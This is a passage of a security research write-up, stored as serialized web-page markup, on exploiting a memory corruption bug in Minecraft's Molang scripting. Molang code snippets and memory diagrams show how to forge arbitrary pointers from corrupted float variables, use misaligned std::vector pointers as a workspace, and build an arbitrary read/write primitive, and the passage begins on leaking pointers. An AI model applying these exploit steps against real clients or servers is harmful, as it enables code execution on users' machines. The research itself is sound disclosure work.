one.",{"type":24,"tag":168,"props":160620,"children":160622},{"id":160621},"expanding-the-idea",[160623],{"type":29,"value":160624},"Expanding the Idea",{"type":24,"tag":25,"props":160626,"children":160627},{},[160628,160630,160635,160637,160642,160643,160648,160650,160655],{"type":29,"value":160629},"As mentioned earlier, the ",{"type":24,"tag":284,"props":160631,"children":160633},{"className":160632},[],[160634],{"type":29,"value":39467},{"type":29,"value":160636}," field of ",{"type":24,"tag":284,"props":160638,"children":160640},{"className":160639},[],[160641],{"type":29,"value":159547},{"type":29,"value":22966},{"type":24,"tag":284,"props":160644,"children":160646},{"className":160645},[],[160647],{"type":29,"value":64655},{"type":29,"value":160649},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":24,"tag":284,"props":160651,"children":160653},{"className":160652},[],[160654],{"type":29,"value":45865},{"type":29,"value":160656}," field remain unchanged before and after Molang execution.",{"type":24,"tag":25,"props":160658,"children":160659},{},[160660,160662,160667],{"type":29,"value":160661},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":24,"tag":284,"props":160663,"children":160665},{"className":160664},[],[160666],{"type":29,"value":159655},{"type":29,"value":160668},"’s allocated buffer + 4.",{"type":24,"tag":25,"props":160670,"children":160671},{},[160672,160674,160679,160681,160686,160688,160693,160694,160700],{"type":29,"value":160673},"In the example below, ",{"type":24,"tag":284,"props":160675,"children":160677},{"className":160676},[],[160678],{"type":29,"value":160081},{"type":29,"value":160680}," points to ",{"type":24,"tag":284,"props":160682,"children":160684},{"className":160683},[],[160685],{"type":29,"value":159655},{"type":29,"value":160687},", while ",{"type":24,"tag":284,"props":160689,"children":160691},{"className":160690},[],[160692],{"type":29,"value":160095},{"type":29,"value":160680},{"type":24,"tag":284,"props":160695,"children":160697},{"className":160696},[],[160698],{"type":29,"value":160699},"MolangVariableMap + 4",{"type":29,"value":1636},{"type":24,"tag":317,"props":160702,"children":160704},{"code":160703},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[160705],{"type":24,"tag":284,"props":160706,"children":160707},{"__ignoreMap":7},[160708],{"type":29,"value":160703},{"type":24,"tag":25,"props":160710,"children":160711},{},[160712,160714,160719,160720,160725,160727,160732,160734,160739,160741,160746],{"type":29,"value":160713},"Here, the ",{"type":24,"tag":284,"props":160715,"children":160717},{"className":160716},[],[160718],{"type":29,"value":45865},{"type":29,"value":160636},{"type":24,"tag":284,"props":160721,"children":160723},{"className":160722},[],[160724],{"type":29,"value":160081},{"type":29,"value":160726}," starts at the lower 32 bits of the ",{"type":24,"tag":284,"props":160728,"children":160730},{"className":160729},[],[160731],{"type":29,"value":160151},{"type":29,"value":160733}," pointer, while ",{"type":24,"tag":284,"props":160735,"children":160737},{"className":160736},[],[160738],{"type":29,"value":160095},{"type":29,"value":160740}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":24,"tag":284,"props":160742,"children":160744},{"className":160743},[],[160745],{"type":29,"value":160151},{"type":29,"value":160747}," pointer in a separate variable:",{"type":24,"tag":317,"props":160749,"children":160751},{"code":160750},"variable.saved_upper_32 = variable.b;\n",[160752],{"type":24,"tag":284,"props":160753,"children":160754},{"__ignoreMap":7},[160755],{"type":29,"value":160750},{"type":24,"tag":25,"props":160757,"children":160758},{},[160759],{"type":29,"value":160760},"Then we can modify the lower 32 bits of the pointer:",{"type":24,"tag":317,"props":160762,"children":160764},{"code":160763},"variable.a = variable.a + itof(0x8);\n",[160765],{"type":24,"tag":284,"props":160766,"children":160767},{"__ignoreMap":7},[160768],{"type":29,"value":160763},{"type":24,"tag":25,"props":160770,"children":160771},{},[160772],{"type":29,"value":160773},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":24,"tag":317,"props":160775,"children":160777},{"code":160776},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[160778],{"type":24,"tag":284,"props":160779,"children":160780},{"__ignoreMap":7},[160781],{"type":29,"value":160776},{"type":24,"tag":25,"props":160783,"children":160784},{},[160785,160787,160792],{"type":29,"value":160786},"Since the 32 bits directly below the ",{"type":24,"tag":284,"props":160788,"children":160790},{"className":160789},[],[160791],{"type":29,"value":45865},{"type":29,"value":160793}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":24,"tag":317,"props":160795,"children":160797},{"code":160796},"variable.b = variable.saved_upper_32;\n",[160798],{"type":24,"tag":284,"props":160799,"children":160800},{"__ignoreMap":7},[160801],{"type":29,"value":160796},{"type":24,"tag":25,"props":160803,"children":160804},{},[160805,160807,160812],{"type":29,"value":160806},"Now ",{"type":24,"tag":284,"props":160808,"children":160810},{"className":160809},[],[160811],{"type":29,"value":160151},{"type":29,"value":160813}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":24,"tag":317,"props":160815,"children":160817},{"code":160816},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[160818],{"type":24,"tag":284,"props":160819,"children":160820},{"__ignoreMap":7},[160821],{"type":29,"value":160816},{"type":24,"tag":25,"props":160823,"children":160824},{},[160825,160827,160832],{"type":29,"value":160826},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":24,"tag":284,"props":160828,"children":160830},{"className":160829},[],[160831],{"type":29,"value":160699},{"type":29,"value":160833}," on the heap?",{"type":24,"tag":25,"props":160835,"children":160836},{},[160837,160839,160844,160846,160852],{"type":29,"value":160838},"Additionally, adding 8 to ",{"type":24,"tag":284,"props":160840,"children":160842},{"className":160841},[],[160843],{"type":29,"value":160081},{"type":29,"value":160845}," in the example above wouldn’t work because ",{"type":24,"tag":284,"props":160847,"children":160849},{"className":160848},[],[160850],{"type":29,"value":160851},"0xddccbba0",{"type":29,"value":160853}," is not a valid float. So the first issue still remains unresolved.",{"type":24,"tag":168,"props":160855,"children":160857},{"id":160856},"the-final-approach",[160858],{"type":29,"value":160859},"The Final Approach",{"type":24,"tag":25,"props":160861,"children":160862},{},[160863,160865,160870,160872,160878],{"type":29,"value":160864},"We realized that instead of having the second pointer at ",{"type":24,"tag":284,"props":160866,"children":160868},{"className":160867},[],[160869],{"type":29,"value":160699},{"type":29,"value":160871},", we could instead have it at ",{"type":24,"tag":284,"props":160873,"children":160875},{"className":160874},[],[160876],{"type":29,"value":160877},"MolangVariableMap + 2",{"type":29,"value":160879},", which would resolve both of our issues.",{"type":24,"tag":25,"props":160881,"children":160882},{},[160883,160885,160890,160891,160896],{"type":29,"value":160884},"Let’s revisit the previous example, but this time ",{"type":24,"tag":284,"props":160886,"children":160888},{"className":160887},[],[160889],{"type":29,"value":160095},{"type":29,"value":160680},{"type":24,"tag":284,"props":160892,"children":160894},{"className":160893},[],[160895],{"type":29,"value":160877},{"type":29,"value":1636},{"type":24,"tag":317,"props":160898,"children":160900},{"code":160899},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[160901],{"type":24,"tag":284,"props":160902,"children":160903},{"__ignoreMap":7},[160904],{"type":29,"value":160899},{"type":24,"tag":25,"props":160906,"children":160907},{},[160908,160910,160915],{"type":29,"value":160909},"With this setup, we can calculate any address relative to ",{"type":24,"tag":284,"props":160911,"children":160913},{"className":160912},[],[160914],{"type":29,"value":160151},{"type":29,"value":160916}," by first saving the upper 48 bits of the address:",{"type":24,"tag":317,"props":160918,"children":160920},{"code":160919},"variable.saved_upper_48 = variable.b;\n",[160921],{"type":24,"tag":284,"props":160922,"children":160923},{"__ignoreMap":7},[160924],{"type":29,"value":160919},{"type":24,"tag":25,"props":160926,"children":160927},{},[160928,160929,160935,160937,160943],{"type":29,"value":136557},{"type":24,"tag":284,"props":160930,"children":160932},{"className":160931},[],[160933],{"type":29,"value":160934},"variable.saved_upper_48",{"type":29,"value":160936}," holds the value ",{"type":24,"tag":284,"props":160938,"children":160940},{"className":160939},[],[160941],{"type":29,"value":160942},"0x1c80ddcc",{"type":29,"value":66},{"type":24,"tag":25,"props":160945,"children":160946},{},[160947],{"type":29,"value":160948},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":24,"tag":317,"props":160950,"children":160952},{"code":160951},"variable.b = 0;\n",[160953],{"type":24,"tag":284,"props":160954,"children":160955},{"__ignoreMap":7},[160956],{"type":29,"value":160951},{"type":24,"tag":25,"props":160958,"children":160959},{},[160960],{"type":29,"value":160961},"Resulting in the following state:",{"type":24,"tag":317,"props":160963,"children":160965},{"code":160964},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[160966],{"type":24,"tag":284,"props":160967,"children":160968},{"__ignoreMap":7},[160969],{"type":29,"value":160964},{"type":24,"tag":25,"props":160971,"children":160972},{},[160973,160975,160980,160982,160988,160990,160995],{"type":29,"value":160974},"Now, the value of ",{"type":24,"tag":284,"props":160976,"children":160978},{"className":160977},[],[160979],{"type":29,"value":160081},{"type":29,"value":160981}," only spans 16 bits (",{"type":24,"tag":284,"props":160983,"children":160985},{"className":160984},[],[160986],{"type":29,"value":160987},"0xbba0",{"type":29,"value":160989}," specifically), which is always a valid float since it’s far below ",{"type":24,"tag":284,"props":160991,"children":160993},{"className":160992},[],[160994],{"type":29,"value":160579},{"type":29,"value":66},{"type":24,"tag":25,"props":160997,"children":160998},{},[160999,161001,161006],{"type":29,"value":161000},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":24,"tag":284,"props":161002,"children":161004},{"className":161003},[],[161005],{"type":29,"value":160081},{"type":29,"value":1636},{"type":24,"tag":317,"props":161008,"children":161009},{"code":160763},[161010],{"type":24,"tag":284,"props":161011,"children":161012},{"__ignoreMap":7},[161013],{"type":29,"value":160763},{"type":24,"tag":25,"props":161015,"children":161016},{},[161017],{"type":29,"value":161018},"Which results in:",{"type":24,"tag":317,"props":161020,"children":161022},{"code":161021},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[161023],{"type":24,"tag":284,"props":161024,"children":161025},{"__ignoreMap":7},[161026],{"type":29,"value":161021},{"type":24,"tag":25,"props":161028,"children":161029},{},[161030],{"type":29,"value":161031},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":24,"tag":317,"props":161033,"children":161035},{"code":161034},"variable.b = variable.saved_upper_48;\n",[161036],{"type":24,"tag":284,"props":161037,"children":161038},{"__ignoreMap":7},[161039],{"type":29,"value":161034},{"type":24,"tag":25,"props":161041,"children":161042},{},[161043],{"type":29,"value":161044},"Yielding a valid pointer again:",{"type":24,"tag":317,"props":161046,"children":161048},{"code":161047},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[161049],{"type":24,"tag":284,"props":161050,"children":161051},{"__ignoreMap":7},[161052],{"type":29,"value":161047},{"type":24,"tag":25,"props":161054,"children":161055},{},[161056],{"type":29,"value":161057},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":24,"tag":317,"props":161059,"children":161061},{"code":161060},"variable.saved_adjusted_lower_16 = variable.a;\n",[161062],{"type":24,"tag":284,"props":161063,"children":161064},{"__ignoreMap":7},[161065],{"type":29,"value":161060},{"type":24,"tag":25,"props":161067,"children":161068},{},[161069],{"type":29,"value":161070},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":24,"tag":317,"props":161072,"children":161074},{"code":161073},"variable.a = variable.saved_upper_48;\n",[161075],{"type":24,"tag":284,"props":161076,"children":161077},{"__ignoreMap":7},[161078],{"type":29,"value":161073},{"type":24,"tag":25,"props":161080,"children":161081},{},[161082],{"type":29,"value":161083},"This produces the following state:",{"type":24,"tag":317,"props":161085,"children":161087},{"code":161086},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[161088],{"type":24,"tag":284,"props":161089,"children":161090},{"__ignoreMap":7},[161091],{"type":29,"value":161086},{"type":24,"tag":25,"props":161093,"children":161094},{},[161095,161097,161102,161104,161110,161112,161118,161120,161125,161127,161132],{"type":29,"value":161096},"As shown, ",{"type":24,"tag":284,"props":161098,"children":161100},{"className":161099},[],[161101],{"type":29,"value":160095},{"type":29,"value":161103}," now contains the upper 16 bits of the address (",{"type":24,"tag":284,"props":161105,"children":161107},{"className":161106},[],[161108],{"type":29,"value":161109},"0x1c80",{"type":29,"value":161111},"), which we can store as ",{"type":24,"tag":284,"props":161113,"children":161115},{"className":161114},[],[161116],{"type":29,"value":161117},"variable.saved_upper_16 = variable.b",{"type":29,"value":161119},". Meanwhile, ",{"type":24,"tag":284,"props":161121,"children":161123},{"className":161122},[],[161124],{"type":29,"value":160081},{"type":29,"value":161126}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":24,"tag":284,"props":161128,"children":161130},{"className":161129},[],[161131],{"type":29,"value":160095},{"type":29,"value":1636},{"type":24,"tag":317,"props":161134,"children":161135},{"code":160951},[161136],{"type":24,"tag":284,"props":161137,"children":161138},{"__ignoreMap":7},[161139],{"type":29,"value":160951},{"type":24,"tag":25,"props":161141,"children":161142},{},[161143],{"type":29,"value":161144},"Leaving us with:",{"type":24,"tag":317,"props":161146,"children":161148},{"code":161147},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[161149],{"type":24,"tag":284,"props":161150,"children":161151},{"__ignoreMap":7},[161152],{"type":29,"value":161147},{"type":24,"tag":25,"props":161154,"children":161155},{},[161156],{"type":29,"value":161157},"We can now save the middle 16 bits:",{"type":24,"tag":317,"props":161159,"children":161161},{"code":161160},"variable.saved_middle_16 = variable.a;\n",[161162],{"type":24,"tag":284,"props":161163,"children":161164},{"__ignoreMap":7},[161165],{"type":29,"value":161160},{"type":24,"tag":25,"props":161167,"children":161168},{},[161169],{"type":29,"value":161170},"At this point, we have:",{"type":24,"tag":317,"props":161172,"children":161174},{"code":161173},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[161175],{"type":24,"tag":284,"props":161176,"children":161177},{"__ignoreMap":7},[161178],{"type":29,"value":161173},{"type":24,"tag":25,"props":161180,"children":161181},{},[161182],{"type":29,"value":161183},"All three parts are valid float values, ensuring deterministic calculations.",{"type":24,"tag":25,"props":161185,"children":161186},{},[161187],{"type":29,"value":161188},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":24,"tag":317,"props":161190,"children":161192},{"code":161191},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[161193],{"type":24,"tag":284,"props":161194,"children":161195},{"__ignoreMap":7},[161196],{"type":29,"value":161191},{"type":24,"tag":25,"props":161198,"children":161199},{},[161200],{"type":29,"value":161201},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":24,"tag":317,"props":161203,"children":161205},{"code":161204},"variable.a = variable.saved_adjusted_middle_16;\n",[161206],{"type":24,"tag":284,"props":161207,"children":161208},{"__ignoreMap":7},[161209],{"type":29,"value":161204},{"type":24,"tag":25,"props":161211,"children":161212},{},[161213,161215,161220,161221,161227,161228,161234],{"type":29,"value":161214},"Setting ",{"type":24,"tag":284,"props":161216,"children":161218},{"className":161217},[],[161219],{"type":29,"value":160081},{"type":29,"value":63498},{"type":24,"tag":284,"props":161222,"children":161224},{"className":161223},[],[161225],{"type":29,"value":161226},"0xddcd",{"type":29,"value":5894},{"type":24,"tag":284,"props":161229,"children":161231},{"className":161230},[],[161232],{"type":29,"value":161233},"0xddcc + 1",{"type":29,"value":161235},"), and then:",{"type":24,"tag":317,"props":161237,"children":161239},{"code":161238},"variable.b = variable.saved_adjusted_upper_16;\n",[161240],{"type":24,"tag":284,"props":161241,"children":161242},{"__ignoreMap":7},[161243],{"type":29,"value":161238},{"type":24,"tag":25,"props":161245,"children":161246},{},[161247,161249,161254,161256,161262,161263,161269],{"type":29,"value":161248},"Resulting in ",{"type":24,"tag":284,"props":161250,"children":161252},{"className":161251},[],[161253],{"type":29,"value":160095},{"type":29,"value":161255}," value becoming ",{"type":24,"tag":284,"props":161257,"children":161259},{"className":161258},[],[161260],{"type":29,"value":161261},"0x1c81",{"type":29,"value":5894},{"type":24,"tag":284,"props":161264,"children":161266},{"className":161265},[],[161267],{"type":29,"value":161268},"0x1c80 + 1",{"type":29,"value":5393},{"type":24,"tag":317,"props":161271,"children":161273},{"code":161272},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[161274],{"type":24,"tag":284,"props":161275,"children":161276},{"__ignoreMap":7},[161277],{"type":29,"value":161272},{"type":24,"tag":25,"props":161279,"children":161280},{},[161281],{"type":29,"value":161282},"Now we save the adjusted upper 48 bits:",{"type":24,"tag":317,"props":161284,"children":161286},{"code":161285},"variable.saved_adjusted_upper_48 = variable.a;\n",[161287],{"type":24,"tag":284,"props":161288,"children":161289},{"__ignoreMap":7},[161290],{"type":29,"value":161285},{"type":24,"tag":25,"props":161292,"children":161293},{},[161294],{"type":29,"value":161295},"Finally, we attach the lower 16 bits:",{"type":24,"tag":317,"props":161297,"children":161299},{"code":161298},"variable.a = variable.saved_adjusted_lower_16;\n",[161300],{"type":24,"tag":284,"props":161301,"children":161302},{"__ignoreMap":7},[161303],{"type":29,"value":161298},{"type":24,"tag":317,"props":161305,"children":161307},{"code":161306},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[161308],{"type":24,"tag":284,"props":161309,"children":161310},{"__ignoreMap":7},[161311],{"type":29,"value":161306},{"type":24,"tag":25,"props":161313,"children":161314},{},[161315],{"type":29,"value":161316},"And by setting:",{"type":24,"tag":317,"props":161318,"children":161320},{"code":161319},"variable.b = variable.saved_adjusted_upper_48;\n",[161321],{"type":24,"tag":284,"props":161322,"children":161323},{"__ignoreMap":7},[161324],{"type":29,"value":161319},{"type":24,"tag":25,"props":161326,"children":161327},{},[161328],{"type":29,"value":161329},"We forge the final adjusted pointer:",{"type":24,"tag":317,"props":161331,"children":161333},{"code":161332},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[161334],{"type":24,"tag":284,"props":161335,"children":161336},{"__ignoreMap":7},[161337],{"type":29,"value":161332},{"type":24,"tag":68,"props":161339,"children":161340},{},[],{"type":24,"tag":25,"props":161342,"children":161343},{},[161344,161346,161351],{"type":29,"value":161345},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":24,"tag":284,"props":161347,"children":161349},{"className":161348},[],[161350],{"type":29,"value":160877},{"type":29,"value":160833},{"type":24,"tag":25,"props":161353,"children":161354},{},[161355,161357,161362,161364,161369,161371,161377,161379,161384],{"type":29,"value":161356},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":24,"tag":284,"props":161358,"children":161360},{"className":161359},[],[161361],{"type":29,"value":160877},{"type":29,"value":161363},". Instead, we need any two pointers on the heap - one pointing to ",{"type":24,"tag":284,"props":161365,"children":161367},{"className":161366},[],[161368],{"type":29,"value":37396},{"type":29,"value":161370}," and the other to ",{"type":24,"tag":284,"props":161372,"children":161374},{"className":161373},[],[161375],{"type":29,"value":161376},"addr + 2",{"type":29,"value":161378}," (as long as ",{"type":24,"tag":284,"props":161380,"children":161382},{"className":161381},[],[161383],{"type":29,"value":37396},{"type":29,"value":161385}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":24,"tag":25,"props":161387,"children":161388},{},[161389,161391,161396,161397,161402],{"type":29,"value":161390},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":24,"tag":284,"props":161392,"children":161394},{"className":161393},[],[161395],{"type":29,"value":156851},{"type":29,"value":160636},{"type":24,"tag":284,"props":161398,"children":161400},{"className":161399},[],[161401],{"type":29,"value":159655},{"type":29,"value":161403}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":24,"tag":317,"props":161405,"children":161407},{"code":161406},"variable.corrupted_var_map_ptr = variable.a;\n",[161408],{"type":24,"tag":284,"props":161409,"children":161410},{"__ignoreMap":7},[161411],{"type":29,"value":161406},{"type":24,"tag":25,"props":161413,"children":161414},{},[161415,161417,161422,161424,161430],{"type":29,"value":161416},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":24,"tag":284,"props":161418,"children":161420},{"className":161419},[],[161421],{"type":29,"value":45865},{"type":29,"value":161423}," field (in this case, the reconstructed pointer) and writes it to ",{"type":24,"tag":284,"props":161425,"children":161427},{"className":161426},[],[161428],{"type":29,"value":161429},"variable.corrupted_var_map_ptr",{"type":29,"value":161431},", even though the type itself is only a 32-bit float.",{"type":24,"tag":168,"props":161433,"children":161435},{"id":161434},"finding-misaligned-pointers",[161436],{"type":29,"value":161437},"Finding Misaligned Pointers",{"type":24,"tag":25,"props":161439,"children":161440},{},[161441,161443,161448,161449,161455],{"type":29,"value":161442},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":24,"tag":284,"props":161444,"children":161446},{"className":161445},[],[161447],{"type":29,"value":21482},{"type":29,"value":1323},{"type":24,"tag":284,"props":161450,"children":161452},{"className":161451},[],[161453],{"type":29,"value":161454},"ptr + 2",{"type":29,"value":161456},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":24,"tag":25,"props":161458,"children":161459},{},[161460,161465,161466,161471,161473,161478,161480,161485,161487,161492,161494,161499,161501,161507,161508,161513],{"type":24,"tag":284,"props":161461,"children":161463},{"className":161462},[],[161464],{"type":29,"value":159831},{"type":29,"value":22966},{"type":24,"tag":284,"props":161467,"children":161469},{"className":161468},[],[161470],{"type":29,"value":159854},{"type":29,"value":161472}," found inside every entity object. As noted earlier, a ",{"type":24,"tag":284,"props":161474,"children":161476},{"className":161475},[],[161477],{"type":29,"value":159685},{"type":29,"value":161479}," contains three pointers: ",{"type":24,"tag":284,"props":161481,"children":161483},{"className":161482},[],[161484],{"type":29,"value":156851},{"type":29,"value":161486}," (the start of the allocated buffer), ",{"type":24,"tag":284,"props":161488,"children":161490},{"className":161489},[],[161491],{"type":29,"value":4906},{"type":29,"value":161493}," (just past the last element) and ",{"type":24,"tag":284,"props":161495,"children":161497},{"className":161496},[],[161498],{"type":29,"value":159784},{"type":29,"value":161500}," (the end of the allocated buffer). Because the element type is ",{"type":24,"tag":284,"props":161502,"children":161504},{"className":161503},[],[161505],{"type":29,"value":161506},"uint16_t",{"type":29,"value":109024},{"type":24,"tag":284,"props":161509,"children":161511},{"className":161510},[],[161512],{"type":29,"value":4906},{"type":29,"value":161514}," pointer advances by 2 bytes each time a new element is added.",{"type":24,"tag":25,"props":161516,"children":161517},{},[161518,161520,161525,161527,161533],{"type":29,"value":161519},"We can make the ",{"type":24,"tag":284,"props":161521,"children":161523},{"className":161522},[],[161524],{"type":29,"value":4906},{"type":29,"value":161526}," pointer equal to ",{"type":24,"tag":284,"props":161528,"children":161530},{"className":161529},[],[161531],{"type":29,"value":161532},"cap - 2",{"type":29,"value":161534}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":24,"tag":317,"props":161536,"children":161538},{"code":161537},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[161539],{"type":24,"tag":284,"props":161540,"children":161541},{"__ignoreMap":7},[161542],{"type":29,"value":161537},{"type":24,"tag":68,"props":161544,"children":161545},{},[],{"type":24,"tag":25,"props":161547,"children":161548},{},[161549,161551,161556,161558,161563,161565,161570,161572,161577,161578,161583],{"type":29,"value":161550},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":24,"tag":284,"props":161552,"children":161554},{"className":161553},[],[161555],{"type":29,"value":156851},{"type":29,"value":161557}," pointer of ",{"type":24,"tag":284,"props":161559,"children":161561},{"className":161560},[],[161562],{"type":29,"value":159655},{"type":29,"value":161564}," in the entity object above, one that would index ",{"type":24,"tag":284,"props":161566,"children":161568},{"className":161567},[],[161569],{"type":29,"value":4906},{"type":29,"value":161571}," and the final ",{"type":24,"tag":284,"props":161573,"children":161575},{"className":161574},[],[161576],{"type":29,"value":159784},{"type":29,"value":161557},{"type":24,"tag":284,"props":161579,"children":161581},{"className":161580},[],[161582],{"type":29,"value":159831},{"type":29,"value":161584}," also in the same entity object above.",{"type":24,"tag":25,"props":161586,"children":161587},{},[161588,161590,161596,161597,161603,161605,161610,161611,161616,161618,161623,161625,161630,161631,161636,161638,161643],{"type":29,"value":161589},"The corrupted variables ",{"type":24,"tag":284,"props":161591,"children":161593},{"className":161592},[],[161594],{"type":29,"value":161595},"variable.corrupted_len_ptr",{"type":29,"value":1323},{"type":24,"tag":284,"props":161598,"children":161600},{"className":161599},[],[161601],{"type":29,"value":161602},"variable.corrupted_cap_ptr",{"type":29,"value":161604}," point to ",{"type":24,"tag":284,"props":161606,"children":161608},{"className":161607},[],[161609],{"type":29,"value":4906},{"type":29,"value":1323},{"type":24,"tag":284,"props":161612,"children":161614},{"className":161613},[],[161615],{"type":29,"value":159784},{"type":29,"value":161617},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":24,"tag":284,"props":161619,"children":161621},{"className":161620},[],[161622],{"type":29,"value":161429},{"type":29,"value":161624},", points to the ",{"type":24,"tag":284,"props":161626,"children":161628},{"className":161627},[],[161629],{"type":29,"value":156851},{"type":29,"value":160636},{"type":24,"tag":284,"props":161632,"children":161634},{"className":161633},[],[161635],{"type":29,"value":159655},{"type":29,"value":161637},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":24,"tag":284,"props":161639,"children":161641},{"className":161640},[],[161642],{"type":29,"value":159655},{"type":29,"value":161644},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":24,"tag":25,"props":161646,"children":161647},{},[161648],{"type":29,"value":161649},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":24,"tag":168,"props":161651,"children":161653},{"id":161652},"leaking-pointers",[161654],{"type":29,"value":161655},"Leaking Pointers",{"type":24,"tag":25,"props":161657,"children":161658},{},[161659,161661,161667],{"type":29,"value":161660},"In C++, an object’s first field is typically a ",{"type":24,"tag":284,"props":161662,"children":161664},{"className":161663},[],[161665],{"type":29,"value":161666},"vtable",{"type":29,"value":161668}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to 